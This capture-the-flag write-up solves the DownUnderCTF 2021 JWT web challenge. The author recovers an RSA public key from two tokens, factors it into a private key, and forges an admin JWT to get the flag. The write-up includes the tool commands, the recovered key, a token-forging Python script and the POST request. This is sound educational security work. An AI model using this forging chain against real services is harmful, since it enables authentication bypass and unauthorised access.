![JWT Challenge](images/jwt-chal.png)

[https://web-jwt-b9766b1f.chal-2021.duc.tf/](https://web-
jwt-b9766b1f.chal-2021.duc.tf/)

JWT stands for JSON Web Token

Visiting the challenge link returns this page:

```  
from flask import Flask, request  
import jwt, time, os

app = Flask(__name__)  
app.config['SECRET_KEY'] = os.urandom(24)

private_key = open('priv').read()  
public_key = open('pub').read()  
flag = open('flag.txt').read()

@app.route("/get_token")  
def get_token():  
return jwt.encode({'admin': False, 'now': time.time()}, private_key,
algorithm='RS256')

@app.route("/get_flag", methods=['POST'])  
def get_flag():  
try:  
payload = jwt.decode(request.form['jwt'], public_key, algorithms=['RS256'])  
if payload['admin']:  
return flag  
except:  
return ":("

@app.route("/")  
def sauce():  
return "  
%s  
" % open(__file__).read()

if __name__ == "__main__":  
app.run(host="0.0.0.0", port=5000)  
```

Good news! There are only two web endpoints we need to study. :)

Bad news! I know of no way to brute force JWTs using RS256. :(

Let's start by just playing around with the endpoints.

# /get_token

[https://web-jwt-b9766b1f.chal-2021.duc.tf/get_token](https://web-
jwt-b9766b1f.chal-2021.duc.tf/get_token)

We hit /get_token and get this response:

```  
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjcyMC41NjkyMTk4fQ.DGGgcbIX160FUcUr6JWLn8HLGQM3n_DuIQ0tDx0AcTKXr_72_Z6LdMFo33yScKiobGFpjzlAg6lDMsCa4UkJqQfteA38Mo74B7ITHpjh0tnXrxejm20F-X23kTkKT_SLVw  
```

We can see from the Python code the data that should be encoded inside this
token. However let's visit jwt.io just for fun.

[https://jwt.io/](https://jwt.io/)

We visit this site and then paste in the token we got back from
**/get_token**:

![JWT](images/jwt1.png)

# /get_flag

Studying the Python code, it is clear that we need to forge a "valid" JWT with
**"admin": true** and POSTing it to **/get_flag**.

In order to do this, we somehow need to obtain the private key that the code
loads here:  
```  
private_key = open('priv').read()  
```

However, there seems to be no way to convince the application to give this to
us directly.

Neither is there any way to obtain even the public key.

# Plan of Attack  
After some pondering, I reviewed some of my notes from previous CTFs and found
these two pieces of information:

1\. One CTF JWT challenge was solved by using a special tool to obtain the
public key from **two** separately-generated JWTs.  
2\. Another CTF JWT challenge was solved by using a (different) special tool
to obtain an RS256 private key from a "weak" public key.

Given this, my plan was to use the special tool from item 1 to obtain a public
key and then hope that public key was weak and that the other special tool
could generate the private key from it. If that works, then we can forge a new
JWT with **"admin": true** and POST it to **/get_flag**.

Let's try and see how it goes.

# Attack Part 1

I made two separate calls to **/get_token** and got these tokens:

```  
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjcyMC41NjkyMTk4fQ.DGGgcbIX160FUcUr6JWLn8HLGQM3n_DuIQ0tDx0AcTKXr_72_Z6LdMFo33yScKiobGFpjzlAg6lDMsCa4UkJqQfteA38Mo74B7ITHpjh0tnXrxejm20F-X23kTkKT_SLVw

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjc0MS40NDAyMzA0fQ.DxCSrEVez5gtm_Xfjq1eaiGRf5PKNeYXti3loMHYMURKQdjILlp1dZlCSed1Y4R1B9mOsbAujxOYCLsdjQhzIbLV04XHZ96UOXH0dXaqNTb_PBxCsZ5ELs_CFX6qNm9MJA  
```

Here is the special tool mentioned earlier:

[https://github.com/silentsignal/rsa_sign2n](https://github.com/silentsignal/rsa_sign2n)

## Setup Attempt 1  
```  
git clone [email protected]:silentsignal/rsa_sign2n.git  
cd rsa_sign2n  
cd standalone  
pip3 install -r requirements.txt  
```

## Execution Attempt 1  
```  
python3 jwt_forgery.py
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjcyMC41NjkyMTk4fQ.DGGgcbIX160FUcUr6JWLn8HLGQM3n_DuIQ0tDx0AcTKXr_72_Z6LdMFo33yScKiobGFpjzlAg6lDMsCa4UkJqQfteA38Mo74B7ITHpjh0tnXrxejm20F-X23kTkKT_SLVw
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjc0MS40NDAyMzA0fQ.DxCSrEVez5gtm_Xfjq1eaiGRf5PKNeYXti3loMHYMURKQdjILlp1dZlCSed1Y4R1B9mOsbAujxOYCLsdjQhzIbLV04XHZ96UOXH0dXaqNTb_PBxCsZ5ELs_CFX6qNm9MJA

Traceback (most recent call last):  
File "/Users/sambrow/hack_nobackup/rsa_sign2n/standalone/jwt_forgery.py", line
71, in <module>  
padded0 = PKCS1_v1_5.EMSA_PKCS1_V1_5_ENCODE(sha256_0, len(jwt0_sig_bytes))  
AttributeError: module 'Crypto.Signature.PKCS1_v1_5' has no attribute
'EMSA_PKCS1_V1_5_ENCODE'  
```

Argh! Something went wrong but I'm unsure how to troubleshoot it.

I then noticed a `Dockerfile` inside the `standalone` folder.

Yay! I love Docker since it allows the package author to distribute a docker
image that will have all of the dependencies it needs already correctly
configured. This solves the "it works on my computer but not on your computer"
problem.

So, let's create this Docker image.

This assumes you've installed Docker already and are cd'd into the
`rsa_sign2n/standalone` folder:

## Setup Attempt 2  
```  
# builds the image  
docker build . -t sig2n

# starts the container and gives me a bash shell  
docker run -it sig2n /bin/bash  
```

This gives me a bash prompt like this:  
```  
root@2b3885dcfaca:/app#  
```

## Execution Attempt 2  
```  
root@732dc2a48bc8:/app# python3 jwt_forgery.py
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjcyMC41NjkyMTk4fQ.DGGgcbIX160FUcUr6JWLn8HLGQM3n_DuIQ0tDx0AcTKXr_72_Z6LdMFo33yScKiobGFpjzlAg6lDMsCa4UkJqQfteA38Mo74B7ITHpjh0tnXrxejm20F-X23kTkKT_SLVw
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjc0MS40NDAyMzA0fQ.DxCSrEVez5gtm_Xfjq1eaiGRf5PKNeYXti3loMHYMURKQdjILlp1dZlCSed1Y4R1B9mOsbAujxOYCLsdjQhzIbLV04XHZ96UOXH0dXaqNTb_PBxCsZ5ELs_CFX6qNm9MJA

[*] GCD: 0x1d  
[*] GCD:
0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803  
[+] Found n with multiplier 1 :  
0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803  
[+] Written to 108b7c75aee1e2b9_65537_x509.pem  
[+] Tampered JWT:
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTYzMjYyMzE5OX0._rQf-v9lQvZInV6MBEjkBqzuEcPtx-
gaobU0oHtjpHY'  
[+] Written to 108b7c75aee1e2b9_65537_pkcs1.pem  
[+] Tampered JWT:
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTYzMjYyMzE5OX0.-xQ_LSF9jJaAEdd2PCgPZjZVwlX8wAD4H2P7lTZOw84'  
[+] Found n with multiplier 29 :  
0x920d1e8a71b85eaf6bd01744d6c84f79f7c2361f955f3bb7b3907e2cedfc567cfeadf290c09e76df43717bc5acb5265d51233f069d1c1a390f097e43db86c6c9a571f54cf72ced06f45fa0e5a0b68f0d5f53f8f259ef620424bf1a1ee5e0de9f  
[+] Written to 920d1e8a71b85eaf_65537_x509.pem  
[+] Tampered JWT:
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTYzMjYyMzE5OX0.V1XnPFpwKbK3IuFNChLZU0XkvMUyzjIKwSVQEyjIqIs'  
[+] Written to 920d1e8a71b85eaf_65537_pkcs1.pem  
[+] Tampered JWT:
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTYzMjYyMzE5OX0.a1fUyscIftGuetBSD1OnIKKY8p-DjMB6sIMJibWpnpM'  
================================================================================  
Here are your JWT's once again for your copypasting pleasure  
================================================================================  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTYzMjYyMzE5OX0._rQf-v9lQvZInV6MBEjkBqzuEcPtx-
gaobU0oHtjpHY  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTYzMjYyMzE5OX0.-xQ_LSF9jJaAEdd2PCgPZjZVwlX8wAD4H2P7lTZOw84  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTYzMjYyMzE5OX0.V1XnPFpwKbK3IuFNChLZU0XkvMUyzjIKwSVQEyjIqIs  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTYzMjYyMzE5OX0.a1fUyscIftGuetBSD1OnIKKY8p-DjMB6sIMJibWpnpM  
```

We can ignore all the output and focus on these two lines:

```  
[+] Written to 108b7c75aee1e2b9_65537_x509.pem  
[+] Written to 920d1e8a71b85eaf_65537_x509.pem  
```

These are the TWO possible public keys that it generated from the tokens we
gave it.

From experience, this is probabilistic. At first I tried two **different**
tokens and it generated SIX possible public keys. I didn't want to try all of
those so I just generated two new tokens and re-ran it. I got lucky then in
that it generated only TWO.

Let's see what the first public key looks like:

```  
root@732dc2a48bc8:/app# cat 108b7c75aee1e2b9_65537_x509.pem  
\-----BEGIN PUBLIC KEY-----  
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD  
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ  
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB  
\-----END PUBLIC KEY-----  
```

We'll run with this for now and return to get the second public key if needed.

# Attack Part 2

Now that we have a public key, let's use the other special tool to see if we
can generate a private key from it (which is only possible if it is a "weak"
public key).

## Setup

In this case here is the special tool we need:

[https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)

```  
git clone [email protected]:Ganapati/RsaCtfTool.git  
cd RsaCtfTool  
pip3 install -r requirements.txt  
```

## Execution

I first setup a local file called `public.key` with the key we found earlier:

```  
\-----BEGIN PUBLIC KEY-----  
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD  
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ  
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB  
\-----END PUBLIC KEY-----  
```

We can then use this special took to try to generate a private key:

```  
python3 RsaCtfTool.py \--publickey ./public.key --private

[*] Testing key ./public.key.  
[*] Performing pastctfprimes attack on ./public.key.  
\297337.74it/s]  
[*] Performing system_primes_gcd attack on ./public.key.  
0%|▍ | 21/7007 [00:00<00:08, 789.12it/s]  
[*] Attack success with system_primes_gcd method !

Results for ./public.key:

Private key :  
\-----BEGIN RSA PRIVATE KEY-----  
MIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz  
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe  
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd  
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8  
wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3s5B+  
LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G9F+g  
5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+  
AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4k  
dR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPts  
ga15EDaXO+lTIe0eeM7aaO3kJzEFdKlfTUNp0nfE1AiWUx+AA6n2UgczpjybNbN0  
rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw==  
\-----END RSA PRIVATE KEY-----  
```

It worked!

# Attack Part 3

Armed with a private key, let's go back to jwt.io to try to forge our desired
token.

We first edit:

```  
"admin": true  
```

and then paste our private token into the second box in the VERIFY SIGNATURE
section:

![JWT Forge](images/jwt-forge.png)

This then generated a token on the left side.

```  
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6dHJ1ZSwibm93IjoxNjMyNTM2NzYxLjQ2NTE3MzJ9.Chjv26Mt7SJ9A0h2Mf25nwjvpf4Lb8cTj2QliJDPZrPlXVC37LI3fcLylLezLe-
wtJz3mGAY1FRvIqvoaie4OBiwygZ_DrTtwiIj5tkbcgbJeHf3M8qEB8pFwQGaDwh1Tg  
```

# Attack Part 4

Let's now try POSTing this to `/get_flag`.

There are many tools you can use (PostMan) but I like to use Burp Suite's
**Repeater** tab. This allows me to edit the HTTP request any way I like.

It is important to add the Content-Type correctly:

`Content-Type: application/x-www-form-urlencoded`

```  
POST /get_flag HTTP/2  
Host: web-jwt-b9766b1f.chal-2021.duc.tf  
Sec-Ch-Ua: "Chromium";v="93", " Not;A Brand";v="99"  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: "macOS"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36  
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 224

jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6dHJ1ZSwibm93IjoxNjMyNTM2NzYxLjQ2NTE3MzJ9.Chjv26Mt7SJ9A0h2Mf25nwjvpf4Lb8cTj2QliJDPZrPlXVC37LI3fcLylLezLe-
wtJz3mGAY1FRvIqvoaie4OBiwygZ_DrTtwiIj5tkbcgbJeHf3M8qEB8pFwQGaDwh1Tg  
```

And this is the HTTP response that came back:

```  
HTTP/2 200 OK  
Content-Type: text/html; charset=utf-8  
Date: Sat, 25 Sep 2021 02:37:24 GMT  
Server: nginx/1.21.1  
Strict-Transport-Security: max-age=15552000  
Content-Length: 27

DUCTF{json_web_trickeryyy}  
```

WOOT!

I thought this was a great challenge since it chained together two totally
different independent vulnerabilities in order to solve it.

# Notes Added Later

When someone tried to follow these steps, they found that jwt.io could not be
used to generate the forged token. Indeed, when I went back to try it, I was
unable to get jwt.io to generate this token either! I can't explain why it
worked for me originally. I'm glad I took a screenshot to prove it.

Here's an easy alternate way to generate the forged token.

Create a python file containing the following and run it to get the forged
token:  
```  
import jwt

private_key = """-----BEGIN RSA PRIVATE KEY-----  
MIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz  
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe  
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd  
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8  
wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3s5B+  
LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G9F+g  
5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+  
AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4k  
dR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPts  
ga15EDaXO+lTIe0eeM7aaO3kJzEFdKlfTUNp0nfE1AiWUx+AA6n2UgczpjybNbN0  
rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw==  
\-----END RSA PRIVATE KEY-----"""

token = jwt.encode({'admin': True, 'now': 1632536761.4651732}, private_key,
algorithm='RS256')  
print(token)  
```

This outputs the same forged token that I, somehow, got out of jwt.io.

Wow!

I tried jwt.io using the way back machine from just a week earlier and that
version **does** produce the token when you paste in the private key.

This proves their behavior changed sometime after I had used their site to
solve this challenge.

You can try it out here:

[https://web.archive.org/web/20210914035237/https://jwt.io/](https://web.archive.org/web/20210914035237/https://jwt.io/)  

Original writeup (https://github.com/sambrow/ctf-
writeups-2021/tree/master/down-under-ctf/JWT).